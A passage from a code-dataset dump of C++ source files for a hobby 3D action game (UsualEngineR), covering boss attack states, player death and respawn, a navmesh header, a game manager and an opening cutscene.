nullptr);\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.6885895133018494,
"alphanum_fraction": 0.7020602226257324,
"avg_line_length": 23.99009895324707,
"blob_id": "a671bc9984f4c0eadef27522be9b1417bcf885bf",
"content_id": "2a4957649857ce43495cb2f088f03dabab78e7c1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2524,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 101,
"path": "/Game/Enemy/State/MiddleBombState/BossBombFullFrontalState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombFullFrontalState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\n#include \"Enemy/Equipment/Enemy_LaunchBomb.h\"\n#include \"Enemy/Equipment/Enemy_CorocoroBomb.h\"\n#include \"Effect/MuzzleFlash.h\"\n\nBossBombFullFrontalState::BossBombFullFrontalState():\n\tm_damage(Player::GetMaxHP() / 15.f)\n{\n\tm_effect = NewGO<MuzzleFlash>(0);\n\tMuzzleFlashEffectInitData eid;\n\n\tm_effect->Init(eid);\n}\n\nBossBombFullFrontalState::~BossBombFullFrontalState()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid BossBombFullFrontalState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::FullFrontal));\n\n\t//e->PlayAnimation(TO_INT(IEnemy::EnAnimation::enAttackA));\n\n\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L));\n\tauto bone = ik->GetEffectorBone();\n\tif (!m_cannonBone)\n\t\tm_cannonBone = e->GetModel()->GetModel().GetSkelton()->GetBone(bone->GetParentBoneNo());\n\te->SetAutoRotateFlag(false);\n\n\tm_firstRot = e->GetRotation();\n\tm_timer = 0.f;\n}\n\nIEnemyState* BossBombFullFrontalState::Update(IEnemy* e)\n{\n\tm_timer += gameTime()->GetDeltaTime();\n\tfloat t = m_timer / m_timeLimit;\n\tt = min(t, 1.f);\n\n\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L));\n\tauto bone = ik->GetEffectorBone();\n\n\tik->SetNextTarget(GameManager::GetInstance().GetPlayer()->GetPosition());\n\n\tauto e2p = GameManager::GetInstance().GetPlayer()->GetPosition() - e->GetPosition();\n\te2p.y = 0.;\n\te2p.Normalize();\n\t//Quaternion rot(Vector3::Front, e2p);\n\t{\n\t\tQuaternion rot;\n\t\tauto theta = atan2(e2p.x, e2p.z);\n\t\t//theta = theta * (180.f / Math::PI);\n\t\trot.SetRotationY(theta);\n\t\trot.Slerp(t, m_firstRot, rot);\n\t\te->SetRotation(rot);\n\t}\n\n\n\tif (e->GetModel()->IsAnimPlaying())\n\t\treturn this;\n\n\n\tconst auto& mat = bone->GetWorldMatrix();\n\tconst auto& pmat = m_cannonBone->GetWorldMatrix();\n\n\tEnemy_LaunchBomb* bomb = NewGO<Enemy_LaunchBomb>(0, true);\n\tVector3 v = Vector3::Up;\n\tpmat.GetRotate().Apply(v);\n\t//v.y += 0.3;\n\tauto bonePos = mat.GetTransrate();\n\tbomb->Init(bonePos, v * 5000., 0.5, 20, m_damage, 25);\n\tCSoundSource* se = NewGO<CSoundSource>(0);\n\tse->Init(L\"Assets/sound/shoot.wav\");\n\tse->SetVolume(1.);\n\tse->Play(false);\n\n\tm_effect->Play();\n\tm_effect->SetPos(bonePos);\n\tm_effect->SetRot(pmat.GetRotate());\n\n\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::Guard));\n\n\treturn this;\n\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n}\n\nvoid BossBombFullFrontalState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombFullFrontalState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7330677509307861,
"alphanum_fraction": 0.7330677509307861,
"avg_line_length": 9.595745086669922,
"blob_id": "ddec692fc762974f585046df0174158f951eb7f7",
"content_id": "1946cee0dd92a815aeba8fbe181c27e7f05d2dd9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 502,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 47,
"path": "/Game/Enemy/Zako/Zako_ShortDistanceMonster.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Zako_ShortDistanceMonster.h\"\n\n\nZako_ShortDistanceMonster::Zako_ShortDistanceMonster()\n{\n\n}\n\nZako_ShortDistanceMonster::~Zako_ShortDistanceMonster()\n{\n\n}\n\n\n\nvoid Zako_ShortDistanceMonster::Release()\n{\n\n}\n\nvoid Zako_ShortDistanceMonster::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Zako_ShortDistanceMonster::Awake()\n{\n\n}\n\nbool Zako_ShortDistanceMonster::Start()\n{\n\treturn true;\n}\n\n\nvoid Zako_ShortDistanceMonster::PreUpdate()\n{\n\n}\n\nvoid Zako_ShortDistanceMonster::Update()\n{\n\n}\n\n\n\n\n"
},
{
"alpha_fraction": 0.634529173374176,
"alphanum_fraction": 0.634529173374176,
"avg_line_length": 19.31818199157715,
"blob_id": "eeb384ce83e3143e45d0b718b1ac402860df516e",
"content_id": "b423a20e0b28d33d7adf9a6b16456d17b926ec42",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 446,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 22,
"path": "/UsualEngineR/Resource/IResource.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"IResource.h\"\n\nnamespace UER\n{\n\tvoid IResource::Load(const char* path)\n\t{\n\t\tm_isLoaded = true;\n\t\tm_filePath = path;\n\t\tLoadImplement(path);\n\t}\n\tvoid IResource::LoadAsync(const char* path)\n\t{\n\t\tm_filePath = path;\n\t\t//m_loadThread = std::make_unique<std::thread>([&]() {LoadImplement(m_filePath.c_str()); });\n\t\tm_threadObj.Execute([&]() \n\t\t\t{\n\t\t\t\tLoadImplement(m_filePath.c_str());\n\t\t\t\tm_isLoaded = true;\n\t\t\t});\n\t}\n}"
},
{
"alpha_fraction": 0.6595744490623474,
"alphanum_fraction": 0.6726677417755127,
"avg_line_length": 16.485713958740234,
"blob_id": "fd8088b09ef7bb16872f593cf736727447b2e73d",
"content_id": "b7f863c76fa146cbaa233948eaa314f9688eff4e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 823,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 35,
"path": "/Game/Navimesh/Navimesh.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\nstruct CellBinary {\n\n\tVector3\t\tvertexPos[3];\t//セルの頂点のポジション\n\tint\t\t\tlinkCellNo[3];\t//セルに隣接しているセル\n\tVector3\t\tcenterPos;\t\t//セルの真ん中のポジション\n};\n//セルクラス\nstruct Cell {\n\tVector3\t\tvertexPos[3];\t//セルの頂点のポジション。\n\tCell*\t\tlinkCells[3];\t//セルに隣接しているセル。\n\tVector3\t\tcenterPos;\t\t//セルの真ん中のポジション。\n};\n\nclass Floor;\nclass Navimesh \n{\npublic:\n\tNavimesh();\n\t~Navimesh();\n\n\tvoid Release();\n\tvoid Init();\n\tconst std::vector<Cell*>& GetCell() const\n\t{\n\t\treturn m_cells;\n\t}\nprivate:\n\t/// <summary>\n\t/// 保存されたバイナリデータからナビメッシュを構築。\n\t/// </summary>\n\tvoid BuildNavimeshFromBinary();\nprivate:\t\n\tstd::vector<Cell*>\tm_cells;\t\t\t\t\t\t//セルの配列。\n};"
},
{
"alpha_fraction": 0.6904611587524414,
"alphanum_fraction": 0.6917245984077454,
"avg_line_length": 13.008849143981934,
"blob_id": "bd4d9c54651f6e8657bb5f046e551cec6b6f7e43",
"content_id": "070ef2275e096d278bfeb79bbd704d28d3c39d04",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1583,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 113,
"path": "/Game/GameManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Navimesh/Navimesh.h\"\n\nclass GameStage;\nclass Player;\nclass EnemyTest;\nclass GameCamera;\nclass GameHUD;\nclass ItemManager;\nclass GameSceneMenu;\nclass Game;\nclass Goal;\nclass Church;\nclass Fade;\nclass Pod;\nclass BossBGM;\n\nclass GameManager\n{\n\npublic:\n\n\tenum class EnGameState {\n\t\tInGame,\n\t\tLoading,\n\t\tEnd\n\t};\n\n\tstatic GameManager& GetInstance() {\n\t\tstatic GameManager gm;\n\t\treturn gm;\n\t}\n\n\tvoid InitGameWorld();\n\tvoid Release();\n\n\tvoid SpawnPlayer();\n\tvoid SpawnPod();\n\n\tEnGameState& GetCurrentGameState() {\n\t\treturn m_gameState;\n\t}\n\n\tvoid SetGameState(const EnGameState state) {\n\t\tm_gameState = state;\n\t}\n\n\tPlayer* GetPlayer() const{\n\t\treturn m_player;\n\t}\n\n\tPod* GetPod() const {\n\t\treturn m_pod;\n\t}\n\n\tGameCamera* GetGameCamera() const {\n\t\treturn m_camera;\n\t}\n\n\tChurch* GetChurch()const {\n\t\treturn m_church;\n\t}\n\n\tGameSceneMenu* GetMenu() const {\n\t\treturn m_menu;\n\t}\n\n\tGameCamera* m_camera = nullptr;\n\tPlayer* m_player = nullptr;\n\tPod* m_pod = nullptr;\n\n\t//Level\n\tGameStage* m_stage = nullptr;\n\n\t//HUD\n\tGameHUD* m_gameHUD = nullptr;\n\n\t//Menu\n\tGameSceneMenu* m_menu = nullptr;\n\n\tItemManager* m_itemManager = nullptr;\n\n\t//GameScene\n\tGame* m_gameScene = nullptr;;\n\n\t//Goal\n\tGoal* m_goal = nullptr;\n\n\t//Navimesh\n\tNavimesh m_nvm;\n\n\tBossBGM* m_bgm = nullptr;\n\n\tvoid AddDeadBossCount() {\n\t\tm_deadBossCount++;\n\t}\n\n\tvoid ResetDeadBossCount() {\n\t\tm_deadBossCount = 0;\n\t}\n\n\tconst int GetDeadBossCount() {\n\t\treturn m_deadBossCount;\n\t}\n\n\tvoid AppearGoal();\n\nprivate:\n\tChurch* m_church = nullptr;\n\tint m_deadBossCount = 0;\n\n\tEnGameState m_gameState = EnGameState::Loading;\n};\n"
},
{
"alpha_fraction": 0.7837837934494019,
"alphanum_fraction": 0.7837837934494019,
"avg_line_length": 15.586206436157227,
"blob_id": "ff168bcd52b08fab23f3f342f1001c92b521c735",
"content_id": "bdeb9bafd1f5786c6ef5945e2ee16cdbf733482b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 481,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 29,
"path": "/Game/Enemy/State/MiddleBombState/BossBombFlyingBattleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombFlyingBattleState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nBossBombFlyingBattleState::BossBombFlyingBattleState()\n{\n}\n\nBossBombFlyingBattleState::~BossBombFlyingBattleState()\n{\n}\n\nvoid BossBombFlyingBattleState::Enter(IEnemy* e)\n{\n}\n\nIEnemyState* BossBombFlyingBattleState::Update(IEnemy* e)\n{\n\treturn this;\n}\n\nvoid BossBombFlyingBattleState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombFlyingBattleState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.66839200258255,
"alphanum_fraction": 0.6759834289550781,
"avg_line_length": 24.208696365356445,
"blob_id": "3c421e784d6dda9a5d70c54550545ceabdce97d8",
"content_id": "1cacafb7a0f4f382c6a6f54c7bb27952acd1bc15",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2898,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 115,
"path": "/Game/Player/State/PlayerDeadState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerDeadState.h\"\n#include \"Fade.h\"\n#include \"../Player.h\"\n#include \"../../GameManager.h\"\n#include \"../../Camera/GameCamera.h\"\n\nPlayerDeadState::PlayerDeadState() {\n}\n\nPlayerDeadState::~PlayerDeadState() {\n\n}\n\nvoid PlayerDeadState::Enter(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player - Enter Dead State\\n\");\n#endif\n\tauto& vel = p->GetLocalVelocity();\n\tp->SetVelocity(Vector3::Zero);\n\tp->SetLocalVelocity(Vector3::Zero);\n\tp->SetExternalVelocity(Vector3::Zero);\n\tp->PlayAnimation(Player::EnAnimation::enDead);\n\tp->Explode();\n\tauto explodeSe = NewGO<CSoundSource>(0);\n\texplodeSe->Init(L\"Assets/sound/chara/explosion.wav\");\n\texplodeSe->Play(false);\n\tm_isFadedToRespawn = false;\n\tm_gravity = 9.f;\n\tm_respawnTimer = 0.f;\n\n\tfor (int i = 0; i < TO_INT(Player::EnPlayerBone::enNumBoneType); i++) {\n\t\tauto bonePos = p->GetIK(i)->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\t\tp->GetIK(i)->SetIKMode(IK::IKMode::enMode_NoAnimHit);\n\t\tbonePos.y += 1.f;\n\t\tp->GetIK(i)->SetNextTarget(bonePos);\n\t}\n\n\tm_velocity = p->m_knockBackImpulse;\n\tm_fricVel = m_velocity;\n\tm_fricVel.y = 0;\n\tm_fricVel.Normalize();\n\tp->m_knockBackImpulse = Vector3::Zero;\n}\n\nvoid PlayerDeadState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player - Exit Dead State\\n\");\n#endif\n\n\tfor (int i = 0; i < TO_INT(Player::EnPlayerBone::enNumBoneType); i++) {\n\t\tauto bonePos = p->GetIK(i)->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\t\tp->GetIK(i)->SetIKMode(IK::IKMode::enMode_NoneHit);\n\t}\n\n\tp->SetVelocity(Vector3::Zero);\n\tp->SetLocalVelocity(Vector3::Zero);\n\tp->SetExternalVelocity(Vector3::Zero);\n}\n\nIPlayerState* PlayerDeadState::Update(Player* p) {\n\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_respawnTimer += delta;\n\n\tm_velocity.y -= m_gravity * delta;\n\tif (p->IsOnGround())\n\t{\n\t\tconst float fricPow = 10;\n\t\tauto veloXZ = m_velocity;\n\t\tif (veloXZ.Length() > fricPow)\n\t\t{\n\t\t\tm_velocity -= m_fricVel * fricPow;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_velocity.x = 0;\n\t\t\tm_velocity.z = 0;\n\t\t}\n\t}\n\n\tfor (int i = 0; i < TO_INT(Player::EnPlayerBone::enNumBoneType); i++) {\n\t\tauto bonePos = p->GetIK(i)->GetEffectorBone()->GetWorldMatrix().GetTransrate() + m_velocity;\n\t\t//bonePos.y -= m_gravity * gameTime()->GetDeltaTime();\n\t\tif (!p->GetIK(i)->IsHit()) {\n\t\t\tp->GetIK(i)->SetNextTarget(bonePos);\n\t\t}\n\t}\n\n\tstatic const float GravityAddVal = 30.f;\n\tm_gravity += GravityAddVal * delta;\n\n\tauto plpos = p->GetPosition();\n\tplpos.y -= 9 * delta;\n\t//p->SetVelocity(plpos);\n\t//p->SetPosition(plpos);\n\n\tp->SetVelocity(m_velocity);\n\n\tif (m_respawnTimer > m_fadeOutTime and !m_isFadedToRespawn) {\n\t\tFade::GetInstance().FadeOut();\n\t\tm_isFadedToRespawn = true;\n\t}\n\n\tif (m_respawnTimer > m_RespawnTime) {\n\t\tp->Respawn();\n\t\tGameManager::GetInstance().m_camera->Reset();\n\t\tauto nextState = p->GetState(Player::EnState::enFlying);\n\t\tFade::GetInstance().FadeIn();\n\n\t\treturn nextState;\n\t}\n\n\treturn this;\n}"
},
{
"alpha_fraction": 0.6720886826515198,
"alphanum_fraction": 0.6841069459915161,
"avg_line_length": 26.732759475708008,
"blob_id": "1bed18ca1d77749a0f5a408da75fca5fb5e0e1ac",
"content_id": "dcfa04e742e7946cd68757d77bc90260a3978dcd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 9672,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 348,
"path": "/Game/OpeningScene.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"OpeningScene.h\"\n#include \"EventMovie/EventMovie.h\"\n#include \"Enemy/Boss/BossA.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"Effect/MuzzleFlash.h\"\n#include \"Effect/Beam.h\"\n#include \"Player/Player.h\"\n#include \"Game.h\"\n#include \"Fade.h\"\n\n\nOpeningScene::OpeningScene()\n{\n}\n\nOpeningScene::~OpeningScene()\n{\n\n}\n\n\n\nvoid OpeningScene::Release()\n{\n\tGameManager::GetInstance().SetGameState(GameManager::EnGameState::InGame);\n\n\tDeleteGO(m_eventMovie);\n\tfor (auto mr : m_modelRenders) {\n\t\tDeleteGO(mr);\n\t}\n\tg_camera3D->SetViewAngle(Math::DegToRad(60));\n\n\tfor (auto effect : m_muzzleFlashEffects) {\n\t\tDeleteGO(effect);\n\t}\n\n\tfor (auto effect : m_beamEffects) {\n\t\teffect->Stop();\n\t\tDeleteGO(effect);\n\t}\n\n\tDeleteGO(m_model);\n\n\tm_windSE->Stop();\n\tDeleteGO(m_windSE);\n\t//auto meleeIdleState = m_melee->GetStateMap().at(TO_INT(IEnemy::EnState::enIdleState));\n\t//m_melee->SetState(meleeIdleState);\n\n}\n\nvoid OpeningScene::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid OpeningScene::Awake()\n{\n\n\tGameManager::GetInstance().SetGameState(GameManager::EnGameState::Loading);\n\n\t//chara \n\tGameManager::GetInstance().SpawnPlayer();\n\n\t//m_chara = NewGO<Player>(0);\n\n\tm_windSE = NewGO < CSoundSource>(0);\n\tm_windSE->Init(L\"Assets/sound/GoldenWind.wav\", false);\n\tm_windSE->Play(true);\n\n\t//enemy\n\tIEnemy::StAbility ab;\n\tab.InitHP(1000);\n\tab.InitStamina(1000);\n\t//melee\n\tauto melee = NewGO<BossA>(0);\n\tmelee->SetAbility(ab);\n\tEnemyManager::GetEnemyManager().SetMeleeBoss(melee);\n\tEnemyManager::GetEnemyManager().AddEnemy(melee);\n\t//fat\n\tauto fat = NewGO<Boss_Fatman>(0);\n\tfat->SetAbility(ab);\n\tEnemyManager::GetEnemyManager().SetFatBoss(fat);\n\tEnemyManager::GetEnemyManager().AddEnemy(fat);\n\t//bomb\n\tauto bomb = NewGO<Boss_MiddleBomb>(0);\n\tbomb->SetAbility(ab);\n\tEnemyManager::GetEnemyManager().SetBombBoss(bomb);\n\tEnemyManager::GetEnemyManager().AddEnemy(bomb);\n}\n\nbool OpeningScene::Start()\n{\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/opField/opField.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One);\n\tm_model->SetMulColor({ 0.6,0.6,0.6,1 });\n\tFade::GetInstance().FadeIn();\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tplayer->SetStateSudden(player->GetState(Player::EnState::enMovie));\n\n\tm_eventMovie = NewGO<EventMovie>(0);\n\n\tActorInitFunc actorInitFunc = [&](const std::string& name) {\n\t\t//printf(\"actor init : \");\n\t\t//printf(name.c_str());\n\t\t//puts(\"\");\n\t\tauto modelRender = GetItsModelRender(name);\n\t\treturn modelRender;\n\t};\n\n\tEventListennerFunc eventListenerFunc = [&](const std::string& name) {\n\n\t\tif (std::strcmp(name.c_str(), \"start\") == 0) {\n\t\t\tGameManager::GetInstance().GetPlayer()->PlayAnimation(Player::EnAnimation::enWalk);\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"m_idle\") == 0) {\n\t\t\tEnemyManager::GetEnemyManager().GetMeleeBoss()->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\t\t\tGameManager::GetInstance().GetPlayer()->PlayAnimation(Player::EnAnimation::enIdle);\n\t\t}\n\n\t\t//lol panch = punch.\n\t\tif (std::strcmp(name.c_str(), \"melee_panch\") == 0) {\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/chara/footstep2.wav\");\n\t\t\tse->SetVolume(1);\n\t\t\tse->Play(false);\n\t\t\tEnemyManager::GetEnemyManager().GetMeleeBoss()->PlayAnimation(IEnemy::EnAnimation::enAttackA);\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"m_take_on\") == 0) {\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/chara/punch_2_1.wav\");\n\t\t\tse->SetVolume(1);\n\t\t\tse->Play(false);\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"melee_idle\") == 0) {\n\t\t\tEnemyManager::GetEnemyManager().GetMeleeBoss()->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"targeting\") == 0) {\n\t\t\tauto bomb = EnemyManager::GetEnemyManager().GetBombBoss();\n\t\t\tbomb->PlayAnimation(TO_INT(IEnemy::EnAnimation::enAttackA));\n\t\t\tm_isTargeting = true;\n\n\t\t\t//beam\n\t\t\tconst int NumBeamEffects = 2;\n\t\t\tfor (int i = 0; i < NumBeamEffects; i++) {\n\t\t\t\tauto beamEff = NewGO<Beam>(0);\n\t\t\t\tBeamEffectInitData beid;\n\t\t\t\tbeamEff->Init(beid);\n\t\t\t\tm_beamEffects.push_back(beamEff);\n\t\t\t}\n\n\t\t\tauto fat = EnemyManager::GetEnemyManager().GetFatBoss();\n\n\t\t\tm_beamEffects[0]->SetChange(true);\n\t\t\tm_beamEffects[0]->SetSca(Vector3::One * 0.01f);\n\t\t\tm_beamEffects[0]->SetIsLoop(true);\n\n\t\t\tm_beamEffects[1]->SetChange(true);\n\t\t\tm_beamEffects[1]->SetSca(Vector3::One * 0.01f);\n\t\t\tm_beamEffects[1]->SetIsLoop(true);\n\n\t\t\tm_beamEffects[0]->Play();\n\t\t\tm_beamEffects[1]->Play();\n\n\t\t\t{\n\t\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\t\tse->Init(L\"Assets/sound/boss_fatman/charge.wav\");\n\t\t\t\tse->SetVolume(1);\n\t\t\t\tse->Play(false);\n\t\t\t}\n\n\t\t}\n\n\n\t\tif (std::strcmp(name.c_str(), \"fire\") == 0) {\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/shoot.wav\");\n\t\t\tse->SetVolume(1.);\n\t\t\tse->Play(false);\n\n\t\t\tconst int NumMazzleFlashes = 3;\n\t\t\tMuzzleFlashEffectInitData eid;\n\t\t\tfor (int i = 0; i < NumMazzleFlashes; i++) {\n\t\t\t\tauto muzzleFlash = NewGO<MuzzleFlash>(0);\n\t\t\t\tmuzzleFlash->Init(eid);\n\t\t\t\tm_muzzleFlashEffects.push_back(muzzleFlash);\n\t\t\t}\n\n\t\t\t//fat's arms\n\t\t\tconst float muzzleFlashScale = 0.25f;\n\t\t\tauto fat = EnemyManager::GetEnemyManager().GetFatBoss();\n\t\t\tconst auto& ArmLMat = fat->GetIK(TO_INT(IEnemy::EnIK::enFoot_L))->GetEffectorBone()->GetWorldMatrix();\n\t\t\tconst auto& ArmRMat = fat->GetIK(TO_INT(IEnemy::EnIK::enFoot_R))->GetEffectorBone()->GetWorldMatrix();\n\t\t\t//L\n\t\t\tm_muzzleFlashEffects[0]->SetSca(Vector3::One * muzzleFlashScale);\n\t\t\tm_muzzleFlashEffects[0]->Play();\n\t\t\tm_muzzleFlashEffects[0]->SetPos(ArmLMat.GetTransrate());\n\t\t\tm_muzzleFlashEffects[0]->SetRot(ArmLMat.GetRotate());\n\t\t\t//R\n\t\t\tm_muzzleFlashEffects[1]->SetSca(Vector3::One * muzzleFlashScale);\n\t\t\tm_muzzleFlashEffects[1]->Play();\n\t\t\tm_muzzleFlashEffects[1]->SetPos(ArmRMat.GetTransrate());\n\t\t\tm_muzzleFlashEffects[1]->SetRot(ArmRMat.GetRotate());\n\n\t\t\t//Bomb\n\t\t\tauto bomb = EnemyManager::GetEnemyManager().GetBombBoss();\n\t\t\tconst auto& muzzleMat = bomb->GetIK(TO_INT(IEnemy::EnIK::enArm_L))->GetEffectorBone()->GetWorldMatrix();\n\t\t\tm_muzzleFlashEffects[2]->SetSca(Vector3::One * muzzleFlashScale);\n\t\t\tm_muzzleFlashEffects[2]->Play();\n\t\t\tm_muzzleFlashEffects[2]->SetPos(muzzleMat.GetTransrate());\n\t\t\tm_muzzleFlashEffects[2]->SetRot(muzzleMat.GetRotate());\n\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"black_out\") == 0) {\n\t\t\tFade::GetInstance().BlackOut();\n\t\t\tm_windSE->Stop();\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"in\") == 0) {\n\t\t\tFade::GetInstance().MakeBright();\n\t\t\tm_windSE->Play(true);\n\t\t}\n\n\t\tif (std::strcmp(name.c_str(), \"fade_out\") == 0) {\n\t\t\tFade::GetInstance().FadeOut();\n\t\t\tm_isFadingToGame = true;\n\t\t}\n\t\treturn;\n\t};\n\n\tg_camera3D->SetViewAngle(Math::DegToRad(30));\t// 終わったら60に直してね!!\n\tm_eventMovie->Init(\"Assets/eventMovie/op.evm\", g_camera3D, actorInitFunc, eventListenerFunc);\n\treturn true;\n}\n\n\nvoid OpeningScene::PreUpdate()\n{\n\n}\n\nvoid OpeningScene::Update()\n{\n\n\tif (m_isTargeting) {\n\t\tauto fat = EnemyManager::GetEnemyManager().GetFatBoss();\n\t\tfat->GetIK(TO_INT(IEnemy::EnIK::enArm_L))->SetNextTarget(g_camera3D->GetPosition());\n\t\tfat->GetIK(TO_INT(IEnemy::EnIK::enArm_R))->SetNextTarget(g_camera3D->GetPosition());\n\t\tfat->GetIK(TO_INT(IEnemy::EnIK::enFoot_L))->SetNextTarget(g_camera3D->GetPosition());\n\t\tfat->GetIK(TO_INT(IEnemy::EnIK::enFoot_R))->SetNextTarget(g_camera3D->GetPosition());\n\n\t\tauto bomb = EnemyManager::GetEnemyManager().GetBombBoss();\n\t\tbomb->GetIK(TO_INT(IEnemy::EnIK::enArm_L))->SetNextTarget(g_camera3D->GetPosition());\n\n\t\t//\n\t\tconst auto& ArmLMat = fat->GetIK(TO_INT(IEnemy::EnIK::enArm_L))->GetEffectorBone()->GetWorldMatrix();\n\t\tconst auto& ArmRMat = fat->GetIK(TO_INT(IEnemy::EnIK::enArm_R))->GetEffectorBone()->GetWorldMatrix();\n\n\t\tm_beamEffects[0]->SetPos(ArmLMat.GetTransrate());\n\t\tm_beamEffects[0]->SetRot(ArmLMat.GetRotate());\n\t\tm_beamEffects[1]->SetPos(ArmRMat.GetTransrate());\n\t\tm_beamEffects[1]->SetRot(ArmRMat.GetRotate());\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonA) and !m_isFadingToGame) {\n\t\tm_isFadingToGame = true;\n\t\tFade::GetInstance().FadeOut();\n\t}\n\n\tif (m_isFadingToGame and Fade::GetInstance().IsFaded()) {\n\t\tauto opobj = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(opobj);\n\t\tNewGO<Game>(0);\n\t}\n\tFade::GetInstance().Update();\n}\n\nvoid OpeningScene::PostUpdate()\n{\n}\n\n\nvoid OpeningScene::Render()\n{\n\n}\n\nvoid OpeningScene::PostRender()\n{\n\n}\n\nModelRender* OpeningScene::GetItsModelRender(const std::string& name) {\n\n\tstatic const float BOSS_A_HP = 1500.f;\n\tstatic const float BOSS_A_STAMINA = 100.f;\n\n\tModelInitData mid;\n\t//mid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tModelRender* modelR = nullptr;\n\n\tauto fatboss = EnemyManager::GetEnemyManager().GetFatBoss();\n\t//chara\n\tif (std::strcmp(name.c_str(), \"m\") == 0) {\n\t\tmodelR = &GameManager::GetInstance().GetPlayer()->GetModelRender();\n\t}else \n\t//fat\n\tif (std::strcmp(name.c_str(), \"fat\") == 0) {\n\t\treturn EnemyManager::GetEnemyManager().GetFatBoss()->GetModel();\n\t}else\n\t//bomb\n\tif (std::strcmp(name.c_str(), \"bomb\") == 0) {\n\t\treturn EnemyManager::GetEnemyManager().GetBombBoss()->GetModel();\n\t}else\n\t//melee\n\tif (std::strcmp(name.c_str(), \"melee\") == 0) {\n\t\t//printf(\"create melee\\n\");\n\t\treturn EnemyManager::GetEnemyManager().GetMeleeBoss()->GetModel();\n\t}else\n\t//pod\n\tif (contain(name, \"pod\")) {\n\t\t//printf(\"create pod\\n\");\n\t\tmodelR = NewGO<ModelRender>(0);\n\t\tmid.m_tkmFilePath 